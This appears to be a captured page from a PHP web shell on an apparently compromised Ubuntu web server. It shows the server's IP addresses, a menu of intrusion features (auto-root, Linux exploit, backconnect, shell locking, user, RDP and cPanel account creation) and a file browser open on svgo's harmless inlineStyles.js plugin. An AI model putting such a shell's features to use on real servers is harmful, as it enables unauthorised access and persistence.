Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
amatya /
node_modules /
svgo /
plugins /
[ HOME SHELL ]
Name
Size
Permission
Action
_collections.js
57.03
KB
-rw-r--r--
_path.js
30.91
KB
-rw-r--r--
_transforms.js
9.97
KB
-rw-r--r--
addAttributesToSVGElement.js
2.02
KB
-rw-r--r--
addClassesToSVGElement.js
1.07
KB
-rw-r--r--
cleanupAttrs.js
1.28
KB
-rw-r--r--
cleanupEnableBackground.js
2.25
KB
-rw-r--r--
cleanupIDs.js
6.51
KB
-rw-r--r--
cleanupListOfValues.js
3.52
KB
-rw-r--r--
cleanupNumericValues.js
2.5
KB
-rw-r--r--
collapseGroups.js
2.92
KB
-rw-r--r--
convertColors.js
3.58
KB
-rw-r--r--
convertPathData.js
30.01
KB
-rw-r--r--
convertShapeToPath.js
4.39
KB
-rw-r--r--
convertStyleToAttrs.js
4.1
KB
-rw-r--r--
convertTransform.js
10.62
KB
-rw-r--r--
inlineStyles.js
7.7
KB
-rw-r--r--
mergePaths.js
2.01
KB
-rw-r--r--
minifyStyles.js
3.97
KB
-rw-r--r--
moveElemsAttrsToGroup.js
3.31
KB
-rw-r--r--
moveGroupAttrsToElems.js
1.81
KB
-rw-r--r--
prefixIds.js
5.08
KB
-rw-r--r--
removeAttributesBySelector.js
1.87
KB
-rw-r--r--
removeAttrs.js
4.06
KB
-rw-r--r--
removeComments.js
508
B
-rw-r--r--
removeDesc.js
767
B
-rw-r--r--
removeDimensions.js
708
B
-rw-r--r--
removeDoctype.js
1.01
KB
-rw-r--r--
removeEditorsNSData.js
1.51
KB
-rw-r--r--
removeElementsByAttr.js
1.89
KB
-rw-r--r--
removeEmptyAttrs.js
509
B
-rw-r--r--
removeEmptyContainers.js
690
B
-rw-r--r--
removeEmptyText.js
1.1
KB
-rw-r--r--
removeHiddenElems.js
6.46
KB
-rw-r--r--
removeMetadata.js
392
B
-rw-r--r--
removeNonInheritableGroupAttrs...
945
B
-rw-r--r--
removeOffCanvasPaths.js
3.09
KB
-rw-r--r--
removeRasterImages.js
558
B
-rw-r--r--
removeScriptElement.js
423
B
-rw-r--r--
removeStyleElement.js
426
B
-rw-r--r--
removeTitle.js
411
B
-rw-r--r--
removeUnknownsAndDefaults.js
4.85
KB
-rw-r--r--
removeUnusedNS.js
2.33
KB
-rw-r--r--
removeUselessDefs.js
1.09
KB
-rw-r--r--
removeUselessStrokeAndFill.js
2.65
KB
-rw-r--r--
removeViewBox.js
1.11
KB
-rw-r--r--
removeXMLNS.js
591
B
-rw-r--r--
removeXMLProcInst.js
487
B
-rw-r--r--
reusePaths.js
6.33
KB
-rw-r--r--
sortAttrs.js
1.66
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : inlineStyles.js
'use strict'; exports.type = 'full'; exports.active = true; exports.params = { onlyMatchedOnce: true, removeMatchedSelectors: true, useMqs: ['', 'screen'], usePseudos: [''] }; exports.description = 'inline styles (additional options)'; var csstree = require('css-tree'), cssTools = require('../lib/css-tools'); /** * Moves + merges styles from style elements to element styles * * Options * onlyMatchedOnce (default: true) * inline only selectors that match once * * removeMatchedSelectors (default: true) * clean up matched selectors, * leave selectors that hadn't matched * * useMqs (default: ['', 'screen']) * what media queries to be used * empty string element for styles outside media queries * * usePseudos (default: ['']) * what pseudo-classes/-elements to be used * empty string element for all non-pseudo-classes and/or -elements * * @param {Object} document document element * @param {Object} opts plugin params * * @author strarsis <strarsis@gmail.com> */ exports.fn = function(document, opts) { // collect <style/>s var styleEls = document.querySelectorAll('style'); //no <styles/>s, nothing to do if (styleEls === null) { return document; } var styles = [], selectors = []; for (var styleEl of styleEls) { if (styleEl.isEmpty() || styleEl.closestElem('foreignObject')) { // skip empty <style/>s or <foreignObject> content. continue; } var cssStr = cssTools.getCssStr(styleEl); // collect <style/>s and their css ast var cssAst = {}; try { cssAst = csstree.parse(cssStr, { parseValue: false, parseCustomProperty: false }); } catch (parseError) { // console.warn('Warning: Parse error of styles of <style/> element, skipped. Error details: ' + parseError); continue; } styles.push({ styleEl: styleEl, cssAst: cssAst }); selectors = selectors.concat(cssTools.flattenToSelectors(cssAst)); } // filter for mediaqueries to be used or without any mediaquery var selectorsMq = cssTools.filterByMqs(selectors, opts.useMqs); // filter for pseudo elements to be used var selectorsPseudo = cssTools.filterByPseudos(selectorsMq, opts.usePseudos); // remove PseudoClass from its SimpleSelector for proper matching cssTools.cleanPseudos(selectorsPseudo); // stable sort selectors var sortedSelectors = cssTools.sortSelectors(selectorsPseudo).reverse(); var selector, selectedEl; // match selectors for (selector of sortedSelectors) { var selectorStr = csstree.generate(selector.item.data), selectedEls = null; try { selectedEls = document.querySelectorAll(selectorStr); } catch (selectError) { if (selectError.constructor === SyntaxError) { // console.warn('Warning: Syntax error when trying to select \n\n' + selectorStr + '\n\n, skipped. Error details: ' + selectError); continue; } throw selectError; } if (selectedEls === null) { // nothing selected continue; } selector.selectedEls = selectedEls; } // apply <style/> styles to matched elements for (selector of sortedSelectors) { if(!selector.selectedEls) { continue; } if (opts.onlyMatchedOnce && selector.selectedEls !== null && selector.selectedEls.length > 1) { // skip selectors that match more than once if option onlyMatchedOnce is enabled continue; } // apply <style/> to matched elements for (selectedEl of selector.selectedEls) { if (selector.rule === null) { continue; } // merge declarations csstree.walk(selector.rule, {visit: 'Declaration', enter: function(styleCsstreeDeclaration) { // existing inline styles have higher priority // no inline styles, external styles, external styles used // inline styles, external styles same priority as inline styles, inline styles used // inline styles, external styles higher priority than inline styles, external styles used var styleDeclaration = cssTools.csstreeToStyleDeclaration(styleCsstreeDeclaration); if (selectedEl.style.getPropertyValue(styleDeclaration.name) !== null && selectedEl.style.getPropertyPriority(styleDeclaration.name) >= styleDeclaration.priority) { return; } selectedEl.style.setProperty(styleDeclaration.name, styleDeclaration.value, styleDeclaration.priority); }}); } if (opts.removeMatchedSelectors && selector.selectedEls !== null && selector.selectedEls.length > 0) { // clean up matching simple selectors if option removeMatchedSelectors is enabled selector.rule.prelude.children.remove(selector.item); } } if (!opts.removeMatchedSelectors) { return document; // no further processing required } // clean up matched class + ID attribute values for (selector of sortedSelectors) { if(!selector.selectedEls) { continue; } if (opts.onlyMatchedOnce && selector.selectedEls !== null && selector.selectedEls.length > 1) { // skip selectors that match more than once if option onlyMatchedOnce is enabled continue; } for (selectedEl of selector.selectedEls) { // class var firstSubSelector = selector.item.data.children.first(); if(firstSubSelector.type === 'ClassSelector') { selectedEl.class.remove(firstSubSelector.name); } // clean up now empty class attributes if(typeof selectedEl.class.item(0) === 'undefined') { selectedEl.removeAttr('class'); } // ID if(firstSubSelector.type === 'IdSelector') { selectedEl.removeAttr('id', firstSubSelector.name); } } } // clean up now empty elements for (var style of styles) { csstree.walk(style.cssAst, {visit: 'Rule', enter: function(node, item, list) { // clean up <style/> atrules without any rulesets left if (node.type === 'Atrule' && // only Atrules containing rulesets node.block !== null && node.block.children.isEmpty()) { list.remove(item); return; } // clean up <style/> rulesets without any css selectors left if (node.type === 'Rule' && node.prelude.children.isEmpty()) { list.remove(item); } }}); if (style.cssAst.children.isEmpty()) { // clean up now emtpy <style/>s var styleParentEl = style.styleEl.parentNode; styleParentEl.spliceContent(styleParentEl.content.indexOf(style.styleEl), 1); if (styleParentEl.elem === 'defs' && styleParentEl.content.length === 0) { // also clean up now empty <def/>s var defsParentEl = styleParentEl.parentNode; defsParentEl.spliceContent(defsParentEl.content.indexOf(styleParentEl), 1); } continue; } // update existing, left over <style>s cssTools.setCssStr(style.styleEl, csstree.generate(style.cssAst)); } return document; };
Close